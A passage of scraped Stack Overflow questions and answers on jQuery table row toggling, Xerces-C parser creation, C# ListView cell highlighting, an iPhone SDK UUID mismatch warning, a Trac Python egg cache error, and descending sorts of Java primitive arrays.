<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>End</td><td>Hiding</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
</table>
```
This is the result I'm trying to obtain using jQuery.
```
Column1 Column2
Column1 Column2
...Show Full Table...
Column1 Column2
Column1 Column2
```
I would like to use jQuery's show/hide feature to minimize the table but still show part of the top and bottom rows. The middle rows should be replace with text like "Show Full Table" and when clicked will expand to show the full table from start to finish.
What is the best way to do this in jQuery?
BTW I've already tried adding a class "Table\_Middle" to some of the rows but it doesn't hide it completely the space it occupied is still there and I don't have the text to give the user a way to expand the table fully.
**[EDIT] Added Working Example HTML inspired by Parand's posted answer**
***The example below is a complete working example, you don't even need to download jquery. Just paste into a blank HTML file.***
*It degrades nicely to show only the full table if Javascript is turned off. If Javascript is on then it hides the middle table rows and adds the show/hide links.*
```
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Example Show/Hide Middle rows of a table using jQuery</title>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
$(document).ready(function() {
$("#HiddenRowsNotice").html("<tr><td colspan='2'> <a href='#'>>> some rows hidden <<</a></td></tr>");
$("#ShowHide").html("<tr><td colspan='2'><a href='#'>show/hide middle rows</a></td></tr>");
$("#HiddenRows").hide();
$('#ShowHide,#HiddenRowsNotice').click( function() {
$('#HiddenRows').toggle();
$('#HiddenRowsNotice').toggle();
});
});
</script>
</head>
<body>
<table>
<tbody id="ShowHide"></tbody>
<tr><th>Month Name</th><th>Month</th></tr>
<tbody>
<tr><td>Jan</td><td>1</td></tr>
</tbody>
<tbody id="HiddenRowsNotice"></tbody>
<tbody id="HiddenRows">
<tr><td>Feb</td><td>2</td></tr>
<tr><td>Mar</td><td>3</td></tr>
<tr><td>Apr</td><td>4</td></tr>
</tbody>
<tbody>
<tr><td>May</td><td>5</td></tr>
</tbody>
</table>
</body>
</html>
```
[EDIT] Link my [blog post](http://www.developerbuzz.com/2008/10/use-jquery-to-show-and-hide-part-of.html) and working example.
|
Something like this could work:
```
<table>
<tbody>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr class="Show_Rows"><td>Start</td><td>Hiding</td></tr>
</tbody>
<tbody class="Table_Middle" style="display:none">
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
</tbody>
<tbody>
<tr class="Show_Rows"><td>End</td><td>Hiding</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
<tr><td>Column1</td><td>Column2</td></tr>
</tbody>
</table>
$('#something').click( function() {
$('.Table_Middle').hide();
$('.Show_Rows').show();
});
$('.Show_Rows').click( function() {
$('.Show_Rows').hide();
$('.Table_Middle').show();
});
```
|
215,233 |
<p>I am trying to create an Xercesc DOM Parser in my code and for some reason and try to instiate an XercescDOM object I get a NULL pointer returned. I am using xercesc version 2.8
Here the code.</p>
<pre><code>using namespace xercesc;
int main(int argc, char*argv[])
{
try
{
XMLPlatformUtils::Initialize();
}
catch (const XMLException& e)
{
char* errMsg = XMLString::transcode(e.getMessage());
cout << "Problem initializing parser: " << errMsg;
XMLString::release(&errMsg);
}
XercesDOMParser* parser = new XercesDOMParser();
if (!parser)
cout << "Failed to create parser";
}
</code></pre>
|
[
{
"answer_id": 249668,
"author": "Sebastien Tanguy",
"author_id": 22969,
"author_profile": "https://Stackoverflow.com/users/22969",
"pm_score": 1,
"selected": false,
"text": "<p>@Doug: no, this is not related, afaik, because the code you linked to tries to fetch the document from the parse() method, but this is a <a href=\"http://xerces.apache.org/xerces-c/apiDocs-2/classAbstractDOMParser.html#c0b30b3d2116c488920646f0d700d9f0\" rel=\"nofollow noreferrer\">void function</a>, so the result will always be \"null\" this way.</p>\n\n<p>Otherwise, I don't see any problem with the parent post. It compiles almost ok and here I have a correct result (non-null parser).</p>\n"
},
{
"answer_id": 257006,
"author": "user24560",
"author_id": 24560,
"author_profile": "https://Stackoverflow.com/users/24560",
"pm_score": 0,
"selected": false,
"text": "<p>It was a bug some where else in my code.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215233",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24560/"
] |
I am trying to create an Xercesc DOM Parser in my code and for some reason and try to instiate an XercescDOM object I get a NULL pointer returned. I am using xercesc version 2.8
Here the code.
```
using namespace xercesc;
int main(int argc, char*argv[])
{
try
{
XMLPlatformUtils::Initialize();
}
catch (const XMLException& e)
{
char* errMsg = XMLString::transcode(e.getMessage());
cout << "Problem initializing parser: " << errMsg;
XMLString::release(&errMsg);
}
XercesDOMParser* parser = new XercesDOMParser();
if (!parser)
cout << "Failed to create parser";
}
```
|
@Doug: no, this is not related, afaik, because the code you linked to tries to fetch the document from the parse() method, but this is a [void function](http://xerces.apache.org/xerces-c/apiDocs-2/classAbstractDOMParser.html#c0b30b3d2116c488920646f0d700d9f0), so the result will always be "null" this way.
Otherwise, I don't see any problem with the parent post. It compiles almost ok and here I have a correct result (non-null parser).
|
215,248 |
<p>I'm using a ListView in C# to make a grid. I would like to find out a way to be able to highlight a specific cell, programatically. I only need to highlight one cell.</p>
<p>I've experimented with Owner Drawn subitems, but using the below code, I get highlighted cells, but no text! Are there any ideas on how to get this working? Thanks for your help.</p>
<pre><code>//m_PC.Location is the X,Y coordinates of the highlighted cell.
void listView1_DrawSubItem(object sender, DrawListViewSubItemEventArgs e)
{
if ((e.ItemIndex == m_PC.Location.Y) && (e.Item.SubItems.IndexOf(e.SubItem) == m_PC.Location.X))
e.SubItem.BackColor = Color.Blue;
else
e.SubItem.BackColor = Color.White;
e.DrawBackground();
e.DrawText();
}
</code></pre>
|
[
{
"answer_id": 215269,
"author": "Charlie",
"author_id": 18529,
"author_profile": "https://Stackoverflow.com/users/18529",
"pm_score": 5,
"selected": true,
"text": "<p>You can do this without owner-drawing the list:</p>\n\n<pre><code>// create a new list item with a subitem that has white text on a blue background\nListViewItem lvi = new ListViewItem( \"item text\" );\nlvi.UseItemStyleForSubItems = false;\nlvi.SubItems.Add( new ListViewItem.ListViewSubItem( lvi,\n \"subitem\", Color.White, Color.Blue, lvi.Font ) );\n</code></pre>\n\n<p>The Color arguments to the ListViewSubItem constructor are controlling the foreground and background color of the subitem. The critical thing to do here is set <code>UseItemStyleForSubItems</code> to False on the list item, otherwise your color changes will be ignored.</p>\n\n<p>I think your owner-draw solution would have worked as well, but you have to remember to change the text (foreground) color when you change the background to blue, otherwise the text will be hard to see.</p>\n"
},
{
"answer_id": 215425,
"author": "Mike Christiansen",
"author_id": 29249,
"author_profile": "https://Stackoverflow.com/users/29249",
"pm_score": 2,
"selected": false,
"text": "<p>Figured it out. Here's code to toggle the highlight of a specific subitem.</p>\n\n<pre><code>listView1.Items[1].UseItemStyleForSubItems = false;\nif (listView1.Items[1].SubItems[10].BackColor == Color.DarkBlue)\n{\n listView1.Items[1].SubItems[10].BackColor = Color.White;\n listView1.Items[1].SubItems[10].ForeColor = Color.Black;\n}\nelse\n{\n listView1.Items[1].SubItems[10].BackColor = Color.DarkBlue;\n listView1.Items[1].SubItems[10].ForeColor = Color.White;\n}\n</code></pre>\n"
},
{
"answer_id": 13020781,
"author": "Chris Asquith",
"author_id": 1766780,
"author_profile": "https://Stackoverflow.com/users/1766780",
"pm_score": 1,
"selected": false,
"text": "<p>In my case, I wanted to highlight specific rows, including all the fields. So every row in my listview with \"Medicare\" in the first column gets the entire row highlighted:</p>\n\n<pre><code>public void HighLightListViewRows(ListView xLst)\n {\n for (int i = 0; i < xLst.Items.Count; i++)\n {\n if (xLst.Items[i].SubItems[0].Text.ToString() == \"Medicare\")\n {\n for (int x = 0; x < xLst.Items[i].SubItems.Count; x++)\n {\n xLst.Items[i].SubItems[x].BackColor = Color.Yellow;\n }\n }\n }\n }\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215248",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29249/"
] |
I'm using a ListView in C# to make a grid. I would like to find out a way to be able to highlight a specific cell, programatically. I only need to highlight one cell.
I've experimented with Owner Drawn subitems, but using the below code, I get highlighted cells, but no text! Are there any ideas on how to get this working? Thanks for your help.
```
//m_PC.Location is the X,Y coordinates of the highlighted cell.
void listView1_DrawSubItem(object sender, DrawListViewSubItemEventArgs e)
{
if ((e.ItemIndex == m_PC.Location.Y) && (e.Item.SubItems.IndexOf(e.SubItem) == m_PC.Location.X))
e.SubItem.BackColor = Color.Blue;
else
e.SubItem.BackColor = Color.White;
e.DrawBackground();
e.DrawText();
}
```
|
You can do this without owner-drawing the list:
```
// create a new list item with a subitem that has white text on a blue background
ListViewItem lvi = new ListViewItem( "item text" );
lvi.UseItemStyleForSubItems = false;
lvi.SubItems.Add( new ListViewItem.ListViewSubItem( lvi,
"subitem", Color.White, Color.Blue, lvi.Font ) );
```
The Color arguments to the ListViewSubItem constructor are controlling the foreground and background color of the subitem. The critical thing to do here is set `UseItemStyleForSubItems` to False on the list item, otherwise your color changes will be ignored.
I think your owner-draw solution would have worked as well, but you have to remember to change the text (foreground) color when you change the background to blue, otherwise the text will be hard to see.
|
215,252 |
<p>I get a "UUID mismatch" warning at the console when I try to build and run my app on my iPhone.</p>
<blockquote>
<p>warning: UUID mismatch detected with
the loaded library - on disk is:
/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.1.sdk/usr/lib/liblockdown.dylib
=uuid-mismatch-with-loaded-file,file="/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.1.sdk/usr/lib/liblockdown.dylib</p>
</blockquote>
<p>Anyone has this issue and managed to resolve the warning ?</p>
|
[
{
"answer_id": 215593,
"author": "Eric Albert",
"author_id": 7374,
"author_profile": "https://Stackoverflow.com/users/7374",
"pm_score": 2,
"selected": false,
"text": "<p>It's benign; don't worry about it. The message is telling you that a library on the device isn't exactly the same as a library in the SDK, but the difference between the libraries in this case isn't one which has any visible impact.</p>\n"
},
{
"answer_id": 1522610,
"author": "CPLamb",
"author_id": 708800,
"author_profile": "https://Stackoverflow.com/users/708800",
"pm_score": 1,
"selected": false,
"text": "<p>If you unplug the device from mac, run the app on device. The app works except you won’t be able to utilize console to debug any problems on device. After searching for answers on developer forums, it is a very common problem among developers. However, there is no known solutions except a few possible tips.</p>\n\n<p>This is an answer from another forum, and IT WORKS! I think it was from webbuilders.com??</p>\n\n<p>Go figure???</p>\n\n<p>access this URL for a good description;\n<a href=\"http://webbuilders.wordpress.com/2009/03/19/iphone-uuid-mismatch-detected-with-the-loaded-library/\" rel=\"nofollow noreferrer\">http://webbuilders.wordpress.com/2009/03/19/iphone-uuid-mismatch-detected-with-the-loaded-library/</a></p>\n"
},
{
"answer_id": 1737968,
"author": "lmprods",
"author_id": 199978,
"author_profile": "https://Stackoverflow.com/users/199978",
"pm_score": 1,
"selected": false,
"text": "<p>I believe this happens when the when Xcode/iPhone SDK is not up to date with the device's installed frameworks. Make sure the device software is up-to-date and install the latest version of Xcode/iPhone SDK - worked for me.</p>\n"
},
{
"answer_id": 2374659,
"author": "Sam Soffes",
"author_id": 118631,
"author_profile": "https://Stackoverflow.com/users/118631",
"pm_score": 2,
"selected": false,
"text": "<p>Completely uninstall the development tools with:</p>\n\n<pre><code>$ sudo /Developer/Library/uninstall-devtools --mode=all\n</code></pre>\n\n<p>(obviously change the path if you installed it somewhere besides the default location). After you install development tools, you should restart your machine. Now reinstall the development tools. This solved this problem for me.</p>\n\n<p>I tried restoring my device before I reinstalled the development tools and it didn't solve anything. If reinstalling the development tools doesn't solve this, I'd probably try restoring your device. Hope that helps someone.</p>\n"
},
{
"answer_id": 3237415,
"author": "Jim Chapple",
"author_id": 390460,
"author_profile": "https://Stackoverflow.com/users/390460",
"pm_score": 1,
"selected": false,
"text": "<p>I had this problem also.</p>\n\n<p>All I did was Quit XCode, Interface Builder.\nStarted XCode, re-opened the project.\nClean All Targets.\nRebuild.\nDebug on my iPad in this case worked.</p>\n"
},
{
"answer_id": 3558384,
"author": "David Weiss",
"author_id": 92260,
"author_profile": "https://Stackoverflow.com/users/92260",
"pm_score": 0,
"selected": false,
"text": "<p>I don't think this is necessarily benign as suggested and the selected answer doesn't address how to stop the warning. The following should stop the warning:</p>\n\n<ol>\n<li>Unplugging iPhone or iPad from Mac</li>\n<li>Quit Xcode</li>\n<li>Delete Builds directory</li>\n<li>Launch Xcode, plug in iPhone and try again</li>\n</ol>\n\n<p>YMMV, but this worked for me.</p>\n"
},
{
"answer_id": 3597196,
"author": "Maurizio",
"author_id": 254598,
"author_profile": "https://Stackoverflow.com/users/254598",
"pm_score": 1,
"selected": false,
"text": "<p>I know this is an old post, but maybe my solution will help others as I recently experienced this problem.</p>\n\n<p>I recently upgraded to the iOS SDK 4.1 Beta 3 by downloading the SDK and Xcode updates. After installing this I got the same error as the original poster. Turns out to fix this I simply had to download and install the corresponding iOS version on my <strong>iPhone</strong>.</p>\n\n<p>After I installed iOS Beta 3 on my iPhone, restored the phone, recompiled and ran, everything was back as it was.</p>\n"
},
{
"answer_id": 3878812,
"author": "Jin Liew",
"author_id": 293744,
"author_profile": "https://Stackoverflow.com/users/293744",
"pm_score": 3,
"selected": false,
"text": "<p>As Eric mentioned, this is due to the libraries on the phone being different to those in XCode.</p>\n\n<p>I came across this issue when I try to debug an app from Xcode using:\niPhone: iOS 4.2 beta 2\nXCode: iOS SDK 4.1</p>\n\n<p>However, if I try to debug using XCode with iOS SDK 4.2 beta 2, then it works fine.</p>\n\n<p>From this, I conclude that the SDK in XCode must match the version of iOS on the phone for debugging to work.</p>\n\n<p>Ensure the two match and you should be able to debug your app.</p>\n"
},
{
"answer_id": 4214721,
"author": "NickFitz",
"author_id": 16782,
"author_profile": "https://Stackoverflow.com/users/16782",
"pm_score": 1,
"selected": false,
"text": "<p>For the benefit of anybody who, like me, finds this question through Google, I started receiving this message in the following circumstances:</p>\n\n<ol>\n<li>I had been developing an app using a provisioning profile tied to my personal developer program account;</li>\n<li>I switched the app to use a provisioning profile tied to a different developer program account (the client for whom I was developing finally got their account set up).</li>\n</ol>\n\n<p>The fix that worked for me was to quit Xcode, trash the build directory for the project, then restart Xcode and rebuild. <del>I suspect a \"Clean All\" from within Xcode might also have worked, but I didn't think of that until afterwards.</del></p>\n\n<p>According to the comments below, \"Clean All\" <em>won't</em> work after all.</p>\n"
},
{
"answer_id": 4289323,
"author": "Andrew Vilcsak",
"author_id": 418817,
"author_profile": "https://Stackoverflow.com/users/418817",
"pm_score": 7,
"selected": true,
"text": "<p>Uninstalling and reinstalling both the iOS on the device and the SDK did not fix this for me. The only way I was able to get around this issue was by deleting the DeviceSupport files for the 4.2.1 iOS version, which can be found at:</p>\n\n<pre><code>/Developer/Platforms/iPhoneOS.platform/DeviceSupport/\n</code></pre>\n\n<p>After deleting the files and restarting Xcode, I plugged in my device and was prompted to restore the symbol files from the device itself - it took about 5 minutes and after this, everything was back to working perfectly.</p>\n"
},
{
"answer_id": 4317290,
"author": "Shiun",
"author_id": 267559,
"author_profile": "https://Stackoverflow.com/users/267559",
"pm_score": 2,
"selected": false,
"text": "<p>The current final SDK is only 4.2 while the iOS out in the wild on the devices is 4.2.1. When you first plug in your device in XCode, the Organizer window will collect the debug symbols for your device. If you need to do this again, you can explicitly delete the /Developer/Platforms/iPhoneOS.platform/DeviceSupport/. Funny thing is that occasionally you still get those annoying \"Unable to find symbols\" error. But at least you'll be able to debug on device now.</p>\n"
},
{
"answer_id": 4380646,
"author": "brian.clear",
"author_id": 181947,
"author_profile": "https://Stackoverflow.com/users/181947",
"pm_score": 3,
"selected": false,
"text": "<p>I tried the following</p>\n\n<p>CLEAN ALL - didnt work</p>\n\n<p>DELETE APP ON PHONE/ DELETE BUILD/ RESTART XCODE - didnt work</p>\n\n<p>THIS DID WORK</p>\n\n<p>Plug out phone</p>\n\n<p>Delete Symbol files folder</p>\n\n<pre><code>/Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)\n</code></pre>\n\n<p>Restart xcode</p>\n\n<p>plug in phone</p>\n\n<p>Organizer pops up with message about Unknown IOS detected</p>\n\n<p>HIt Ok to collect</p>\n\n<p>Takes about a minute.</p>\n\n<p>the folder is recreated</p>\n\n<pre><code>/Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)\n</code></pre>\n\n<p>App deployed to device fine after.</p>\n\n<p>I took the folder from Trash for\n /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)\nand compared it in Deltawalker\nto the new version of </p>\n\n<pre><code>/Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)\n</code></pre>\n\n<p>and only timestamp differences. The number of files and size of each was identical.</p>\n\n<pre><code>Theres 380 files in \n\n/Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1 (8C148)\n</code></pre>\n\n<p>POSSIBLE CAUSE FOR ME</p>\n\n<p>I had downloaded the GM seed of Xcode and iOS 4.2 and tested on another phone.</p>\n\n<p>My IPhone 4 I upgraded from ITunes like a normal customer.</p>\n\n<p>Then tried to deploy my app from this GM seed version of Xcode to public released version of iOS 4.2.1.</p>\n"
},
{
"answer_id": 4631161,
"author": "sneeden",
"author_id": 567593,
"author_profile": "https://Stackoverflow.com/users/567593",
"pm_score": 2,
"selected": false,
"text": "<p>Hey thanks! I got it working. \n* Using Organizer I reflashed the firmware</p>\n\n<ul>\n<li><p>In Organizer, enable the phone (right click -> Add device....)</p></li>\n<li><p>Close XCode</p></li>\n<li><p>Delete the $project/build/*</p></li>\n<li><p>Delete /Developer/Platforms/iPhoneOS.platform/DeviceSupport/4.2.1</p></li>\n<li><p>Restart XCode</p></li>\n<li><p>Go to organizer and agree to let it download what it wants</p></li>\n<li><p>In Organizer, again right click -> Add Device....</p></li>\n<li><p>Updated Code Signature</p></li>\n<li><p>command + Y</p></li>\n</ul>\n\n<p>It debugged just fine after this.</p>\n\n<p>Thx to all who input :)</p>\n"
},
{
"answer_id": 8930742,
"author": "k3a",
"author_id": 314437,
"author_profile": "https://Stackoverflow.com/users/314437",
"pm_score": 2,
"selected": false,
"text": "<p>If you have Spire installed and you updated to 5.0.1 you need to uninstall Spire or update dyld_shared_cache which Spire is using...</p>\n\n<p>Spire dyld cache is at /var/spire. You need to extract cache appropriate to your current firmware from ipsw. :) </p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215252",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1987/"
] |
I get a "UUID mismatch" warning at the console when I try to build and run my app on my iPhone.
>
> warning: UUID mismatch detected with
> the loaded library - on disk is:
> /Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.1.sdk/usr/lib/liblockdown.dylib
> =uuid-mismatch-with-loaded-file,file="/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS2.1.sdk/usr/lib/liblockdown.dylib
>
>
>
Anyone has this issue and managed to resolve the warning ?
|
Uninstalling and reinstalling both the iOS on the device and the SDK did not fix this for me. The only way I was able to get around this issue was by deleting the DeviceSupport files for the 4.2.1 iOS version, which can be found at:
```
/Developer/Platforms/iPhoneOS.platform/DeviceSupport/
```
After deleting the files and restarting Xcode, I plugged in my device and was prompted to restore the symbol files from the device itself - it took about 5 minutes and after this, everything was back to working perfectly.
|
215,267 |
<p>We've been using Trac for task/defect tracking and things were going well enough, but this morning it started serving up a 500 error. Looking in the Apache error_log, I get a stack trace that culminates in:</p>
<pre>
PythonHandler trac.web.modpython_frontend:
ExtractionError: Can't extract file(s) to egg cache
The following error occurred while trying to extract file(s) to the Python egg
cache:
[Errno 13] Permission denied: '/.python-eggs'
The Python egg cache directory is currently set to:
/.python-eggs
Perhaps your account does not have write access to this directory? You can
change the cache directory by setting the PYTHON_EGG_CACHE environment
variable to point to an accessible directory
</pre>
<p>So I explicitly set PYTHON_EGG_CACHE to /srv/trac/plugin-cache. I restarted Apache. Yet I get the same error (it still says "egg cache directory current set to: \n\n /.python_eggs.")</p>
<p>How should I proceed? Is the simplest thing to do to reinstall Trac? If I go that route, what steps do I need to take to ensure that I don't lose existing data?</p>
|
[
{
"answer_id": 215298,
"author": "agnul",
"author_id": 6069,
"author_profile": "https://Stackoverflow.com/users/6069",
"pm_score": 4,
"selected": true,
"text": "<p>That should be fixed in 0.11 according to their <a href=\"http://trac.edgewall.org/ticket/7320\" rel=\"noreferrer\">bug tracking system</a>. </p>\n\n<p>If that's not the case you should try to pass the environment var to apache, since doing a SetEnv in the configuration file doesn't work. Adding something like </p>\n\n<pre><code>export PYTHON_EGG_CACHE=/tmp/python_eggs\n</code></pre>\n\n<p>to the script you use to start apache should work.</p>\n"
},
{
"answer_id": 215303,
"author": "Bob Nadler",
"author_id": 2514,
"author_profile": "https://Stackoverflow.com/users/2514",
"pm_score": 1,
"selected": false,
"text": "<p>I ran into the same problem when upgrading from Trac 10.4 to 0.11 earlier this year. Something must have changed for this problem to have just suddenly appeared -- an updated Python or Apache installation?</p>\n\n<p>I don't remember all of the permutations I tried to solve this, but I ended up having to use <code>SetEnv PYTHON_EGG_CACHE /.python-eggs</code> and create /.python-eggs with 777 permissions. This might not be the best solution, but it fixed the problem. </p>\n\n<p>I never investigated what the root cause was. As <a href=\"https://stackoverflow.com/questions/215267/how-do-you-fix-a-trac-installation-that-begins-giving-errors-relating-to-python#215298\">agnul</a> says, this may have been fixed in a subsequent Trac release.</p>\n"
},
{
"answer_id": 215401,
"author": "Simon",
"author_id": 22404,
"author_profile": "https://Stackoverflow.com/users/22404",
"pm_score": 1,
"selected": false,
"text": "<p>I have wrestled many a battle with <code>PYTHON_EGG_CACHE</code> and I never figured out the correct way of setting it - apache's envvars, httpd.conf (SetEnv and PythonOption), nothing worked. In the end I just unpacked all python eggs manually, there were only two or three anyway - problem gone. I never understood why on earth people zip up files weighting no more than a few kilobytes in the first place...</p>\n"
},
{
"answer_id": 219233,
"author": "Sam Corder",
"author_id": 2351,
"author_profile": "https://Stackoverflow.com/users/2351",
"pm_score": 0,
"selected": false,
"text": "<p>I had the same problem. In my case the directory wasn't there so I created and chown'ed it over to the apache user (apache on my centos 4.3 box). Then made sure it had read-write permissions on the directory. You could get by with giving rw rights to the directory if the group that owns the directory contains the apache user. A simple ps aux|grep httpd should show you what account your server is running under if you don't know it. If you have trouble finding the directory remember the -a on the ls command since it is a \"hidden\" directory.</p>\n"
},
{
"answer_id": 406119,
"author": "Dana the Sane",
"author_id": 2567,
"author_profile": "https://Stackoverflow.com/users/2567",
"pm_score": 0,
"selected": false,
"text": "<p>I found that using the PythonOption directive in the site config <em>did not</em> work, but SetEnv did. The environment variable route will also work though.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215267",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10116/"
] |
We've been using Trac for task/defect tracking and things were going well enough, but this morning it started serving up a 500 error. Looking in the Apache error\_log, I get a stack trace that culminates in:
```
PythonHandler trac.web.modpython_frontend:
ExtractionError: Can't extract file(s) to egg cache
The following error occurred while trying to extract file(s) to the Python egg
cache:
[Errno 13] Permission denied: '/.python-eggs'
The Python egg cache directory is currently set to:
/.python-eggs
Perhaps your account does not have write access to this directory? You can
change the cache directory by setting the PYTHON_EGG_CACHE environment
variable to point to an accessible directory
```
So I explicitly set PYTHON\_EGG\_CACHE to /srv/trac/plugin-cache. I restarted Apache. Yet I get the same error (it still says "egg cache directory current set to: \n\n /.python\_eggs.")
How should I proceed? Is the simplest thing to do to reinstall Trac? If I go that route, what steps do I need to take to ensure that I don't lose existing data?
|
That should be fixed in 0.11 according to their [bug tracking system](http://trac.edgewall.org/ticket/7320).
If that's not the case you should try to pass the environment var to apache, since doing a SetEnv in the configuration file doesn't work. Adding something like
```
export PYTHON_EGG_CACHE=/tmp/python_eggs
```
to the script you use to start apache should work.
|
215,271 |
<p>I've got a <strong>large</strong> array of primitive types (double).
How do I sort the elements in <strong>descending order</strong>?</p>
<p>Unfortunately the Java API doesn't support sorting of <strong>primitive</strong> types with a Comparator.</p>
<p>The first approach that probably comes to mind is to convert it to a list of objects (boxing):</p>
<pre><code>double[] array = new double[1048576];
Arrays.stream(array).boxed().sorted(Collections.reverseOrder())…
</code></pre>
<p>This solution is probably good enough for many (or even most) use cases but <strong>boxing</strong> each primitive in the array is <strong>too slow and causes a lot of GC pressure</strong> if the array is large!</p>
<p>Another approach would be to sort and then reverse:</p>
<pre><code>double[] array = new double[1048576];
...
Arrays.sort(array);
// reverse the array
for (int i = 0; i < array.length / 2; i++) {
// swap the elements
double temp = array[i];
array[i] = array[array.length - (i + 1)];
array[array.length - (i + 1)] = temp;
}
</code></pre>
<p><strong>This approach can also be too slow</strong> if the array is already sorted quite well.</p>
<p>What's a better alternative if the arrays are large and performance is the major optimization goal?</p>
|
[
{
"answer_id": 215280,
"author": "Jason Cohen",
"author_id": 4926,
"author_profile": "https://Stackoverflow.com/users/4926",
"pm_score": 2,
"selected": false,
"text": "<p>Your implementation (the one in the question) is faster than e.g. wrapping with <code>toList()</code> and using a comparator-based method. Auto-boxing and running through comparator methods or wrapped Collections objects is far slower than just reversing.</p>\n\n<p>Of course you could write your own sort. That might not be the answer you're looking for, <em>but</em> note that if your comment about \"if the array is already sorted quite well\" happens frequently, you might do well to choose a sorting algorithm that handles that case well (e.g. insertion) rather than use <code>Arrays.sort()</code> (which is mergesort, or insertion if the number of elements is small).</p>\n"
},
{
"answer_id": 215283,
"author": "Eli Courtwright",
"author_id": 1694,
"author_profile": "https://Stackoverflow.com/users/1694",
"pm_score": 1,
"selected": false,
"text": "<p>There's been some confusion about <code>Arrays.asList</code> in the other answers. If you say</p>\n\n<pre><code>double[] arr = new double[]{6.0, 5.0, 11.0, 7.0};\nList xs = Arrays.asList(arr);\nSystem.out.println(xs.size()); // prints 1\n</code></pre>\n\n<p>then you'll have a List with 1 element. The resulting List has the double[] array as its own element. What you want is to have a <code>List<Double></code> whose elements are the elements of the <code>double[]</code>.</p>\n\n<p>Unfortunately, no solution involving Comparators will work for a primitive array. <code>Arrays.sort</code> only accepts a Comparator when being passed an <code>Object[]</code>. And for the reasons describe above, <code>Arrays.asList</code> won't let you make a List out of the elements of your array.</p>\n\n<p>So despite my earlier answer which the comments below reference, there's no better way than manually reversing the array after sorting. Any other approach (such as copying the elements into a <code>Double[]</code> and reverse-sorting and copying them back) would be more code and slower.</p>\n"
},
{
"answer_id": 215405,
"author": "Leo",
"author_id": 20689,
"author_profile": "https://Stackoverflow.com/users/20689",
"pm_score": 0,
"selected": false,
"text": "<p>I am not aware of any primitive sorting facilities within the Java core API.</p>\n\n<p>From my experimentations with the <a href=\"http://shootout.alioth.debian.org/gp4/benchmark.php?test=all&lang=dlang&lang2=java\" rel=\"nofollow noreferrer\">D programming language</a> (a sort of C on steroids), I've found that the merge sort algorithm is arguably the fastest general-purpose sorting algorithm around (it's what the D language itself uses to implement its sort function).</p>\n\n<ul>\n<li><a href=\"http://www.koders.com/java/fid33A9899502EA6621A9E4CD88C33C600F0602C211.aspx?s=cdef:tree\" rel=\"nofollow noreferrer\">One implementation in Java</a></li>\n<li><a href=\"http://www.cs.colorado.edu/~main/applications/Mergesort.java\" rel=\"nofollow noreferrer\">Another implementation</a></li>\n<li><a href=\"http://users.dickinson.edu/~braught/courses/cs132f02/code/MergeSort.src.html\" rel=\"nofollow noreferrer\">One more implementation</a></li>\n</ul>\n"
},
{
"answer_id": 217477,
"author": "user29480",
"author_id": 29480,
"author_profile": "https://Stackoverflow.com/users/29480",
"pm_score": 5,
"selected": false,
"text": "<p>I think it would be best not to re-invent the wheel and use Arrays.sort().</p>\n\n<p>Yes, I saw the \"descending\" part. The sorting is the hard part, and you want to benefit from the simplicity and speed of Java's library code. Once that's done, you simply reverse the array, which is a relatively cheap O(n) operation. <a href=\"http://www.leepoint.net/data/arrays/arrays-ex-reverse.html\" rel=\"noreferrer\">Here's some code</a> I found to do this in as little as 4 lines:</p>\n\n<pre><code>for (int left=0, right=b.length-1; left<right; left++, right--) {\n // exchange the first and last\n int temp = b[left]; b[left] = b[right]; b[right] = temp;\n}\n</code></pre>\n"
},
{
"answer_id": 358451,
"author": "Krystian Cybulski",
"author_id": 45226,
"author_profile": "https://Stackoverflow.com/users/45226",
"pm_score": 2,
"selected": false,
"text": "<p>You cannot use Comparators for sorting primitive arrays.</p>\n\n<p>Your best bet is to implement (or borrow an implementation) of a sorting algorithm that is <a href=\"http://en.wikipedia.org/wiki/Sorting_algorithm#Summaries_of_popular_sorting_algorithms\" rel=\"nofollow noreferrer\">appropriate </a> for your use case to sort the array (in reverse order in your case).</p>\n"
},
{
"answer_id": 358528,
"author": "lakshmanaraj",
"author_id": 44541,
"author_profile": "https://Stackoverflow.com/users/44541",
"pm_score": 0,
"selected": false,
"text": "<p>Your algorithm is correct. But we can do optimization as follows:\nWhile reversing, You may try keeping another variable to reduce backward counter since computing of array.length-(i+1) may take time!\nAnd also move declaration of temp outside so that everytime it needs not to be allocated </p>\n\n<pre><code>double temp;\n\nfor(int i=0,j=array.length-1; i < (array.length/2); i++, j--) {\n\n // swap the elements\n temp = array[i];\n array[i] = array[j];\n array[j] = temp;\n}\n</code></pre>\n"
},
{
"answer_id": 423602,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": -1,
"selected": false,
